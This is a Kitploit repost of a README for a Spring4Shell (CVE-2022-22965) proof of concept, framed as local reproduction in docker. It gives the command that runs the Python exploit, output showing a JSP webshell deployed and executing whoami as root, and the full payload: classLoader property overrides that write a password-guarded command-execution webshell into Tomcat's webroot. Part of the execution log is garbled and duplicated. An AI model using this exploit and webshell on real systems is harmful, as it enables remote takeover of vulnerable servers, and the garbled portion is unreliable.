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Spring4Shell-POC — Reproduces the Spring4Shell (CVE-2022-22965) remote code execution vulnerability with a Python exploit script, deploying a JSP webshell on Apache Tomcat for testing and verification. | Kitploit
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Spring4Shell-POC

Reproduces the Spring4Shell (CVE-2022-22965) remote code execution vulnerability with a Python exploit script, deploying a JSP webshell on Apache Tomcat for testing and verification.

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Spring4Shell-POC

Local reproduction process of Spring4Shell vulnerability

Environment Preparation

  • Environment: docker, docker-compose

  • mvn package, generate ``./target/ROOT.war`````shell mvn package

* Start the service```shell
docker-compose up -d
  • Stop service```shell docker-compose down
## Reproduction Process

* Run the script```shell
python3 spring-4-shell-exp.py --url "http://127.0.0.1:8080"
  • First run

First run

  • Second run

Second run

  • Execution process``` ➜ spring4shell-poc clear
    ➜ spring4shell-poc python3 spring-4-shell-exp.py --url "http://127.0.0.1:8080" The vulnerability exists, the shell address is :http://127.0.0.1:8080/tomcatwar.jsp?pwd=j&cmd=whoami got response: ➜ spring4shell-poc clear ➜ spring4shell-poc python3 spring-4-shell-exp.py --url "http://127.0.0.1:8080" The vulnerability exists, the shell address is :http://127.0.0.1:8080/tomcatwar.jsp?pwd=j&cmd=whoami got response: root

//

  • if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } -

➜ spring4shell-poc

* In the Docker container, a jsp file can be seen created in the Tomcat application service

![spring-4-shell-web](https://assets.kitploit.com/production/public/readmes/5300/3c171f1bcbfd46534f345a9aee6089e18ced9569afd208bd7eb33cc882246688.png)


* It can also be accessed directly via the web

![spring-4-shell-web](https://assets.kitploit.com/production/public/readmes/5300/5205a0cd1c694bfa02964a130c6a05ded1c1d1f3a2ce4d96b85d74ed863b85fd.png)


## Notes

* The data in spring-4-shell-exp.py```text
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i 
if ("j".equals(request.getParameter("pwd"))) {
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    while ((a = in .read(b)) != -1) {
        out.println(new String(b));
    }
}
%{suffix}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
  • Print tomcat configuration parameters Through the src/main/webapps/print.jsp file, you can print tomcat property configurations at runtime.```text class.classLoader.delegate class.classLoader.clearReferencesRmiTargets class.classLoader.clearReferencesStopThreads class.classLoader.clearReferencesStopTimerThreads class.classLoader.clearReferencesHttpClientKeepAliveThread class.classLoader.clearReferencesObjectStreamClassCaches class.classLoader.clearReferencesThreadLocals class.classLoader.skipMemoryLeakChecksOnJvmShutdown class.classLoader.clearReferencesLogFactoryRelease class.classLoader.defaultAssertionStatus class.classLoader.resources.allowLinking class.classLoader.resources.cachingAllowed class.classLoader.resources.cacheObjectMaxSize class.classLoader.resources.trackLockedFiles class.classLoader.resources.domain class.classLoader.resources.throwOnFailure class.classLoader.resources.context.delegate class.classLoader.resources.context.server class.classLoader.resources.context.useNaming class.classLoader.resources.context.createUploadTargets class.classLoader.resources.context.allowMultipleLeadingForwardSlashInPath class.classLoader.resources.context.requestCharacterEncoding class.classLoader.resources.context.responseCharacterEncoding class.classLoader.resources.context.dispatchersUseEncodedPaths class.classLoader.resources.context.useRelativeRedirects class.classLoader.resources.context.mapperContextRootRedirectEnabled class.classLoader.resources.context.mapperDirectoryRedirectEnabled class.classLoader.resources.context.validateClientProvidedNewSessionId class.classLoader.resources.context.containerSciFilter class.classLoader.resources.context.sendRedirectBody class.classLoader.resources.context.preemptiveAuthentication class.classLoader.resources.context.fireRequestListenersOnForwards class.classLoader.resources.context.addWebinfClassesResources class.classLoader.resources.context.webappVersion class.classLoader.resources.context.resourceOnlyServlets class.classLoader.resources.context.effectiveMajorVersion class.classLoader.resources.context.effectiveMinorVersion class.classLoader.resources.context.logEffectiveWebXml class.classLoader.resources.context.allowCasualMultipartParsing class.classLoader.resources.context.swallowAbortedUploads class.classLoader.resources.context.publicId class.classLoader.resources.context.antiResourceLocking class.classLoader.resources.context.useBloomFilterForArchives class.classLoader.resources.context.parallelAnnotationScanning class.classLoader.resources.context.configured class.classLoader.resources.context.cookies class.classLoader.resources.context.sessionCookieName class.classLoader.resources.context.useHttpOnly class.classLoader.resources.context.sessionCookieDomain class.classLoader.resources.context.sessionCookiePath class.classLoader.resources.context.sessionCookiePathUsesTrailingSlash class.classLoader.resources.context.crossContext class.classLoader.resources.context.defaultContextXml class.classLoader.resources.context.defaultWebXml class.classLoader.resources.context.denyUncoveredHttpMethods class.classLoader.resources.context.altDDName class.classLoader.resources.context.displayName class.classLoader.resources.context.distributable class.classLoader.resources.context.docBase class.classLoader.resources.context.j2EEApplication class.classLoader.resources.context.j2EEServer class.classLoader.resources.context.ignoreAnnotations class.classLoader.resources.context.path class.classLoader.resources.context.originalDocBase class.classLoader.resources.context.privileged class.classLoader.resources.context.reloadable class.classLoader.resources.context.override class.classLoader.resources.context.replaceWelcomeFiles class.classLoader.resources.context.sessionTimeout class.classLoader.resources.context.swallowOutput class.classLoader.resources.context.unpackWAR class.classLoader.resources.context.copyXML class.classLoader.resources.context.wrapperClass class.classLoader.resources.context.jndiExceptionOnFailedWrite class.classLoader.resources.context.charsetMapperClass class.classLoader.resources.context.workDir class.classLoader.resources.context.clearReferencesRmiTargets class.classLoader.resources.context.clearReferencesStopThreads class.classLoader.resources.context.clearReferencesStopTimerThreads class.classLoader.resources.context.clearReferencesHttpClientKeepAliveThread class.classLoader.resources.context.renewThreadsWhenStoppingContext class.classLoader.resources.context.clearReferencesObjectStreamClassCaches class.classLoader.resources.context.clearReferencesThreadLocals class.classLoader.resources.context.skipMemoryLeakChecksOnJvmShutdown class.classLoader.resources.context.xmlNamespaceAware class.classLoader.resources.context.xmlValidation class.classLoader.resources.context.xmlBlockExternal class.classLoader.resources.context.tldValidation class.classLoader.resources.context.name class.classLoader.resources.context.startChildren class.classLoader.resources.context.backgroundProcessorDelay class.classLoader.resources.context.startStopThreads class.classLoader.resources.context.domain class.classLoader.resources.context.throwOnFailure
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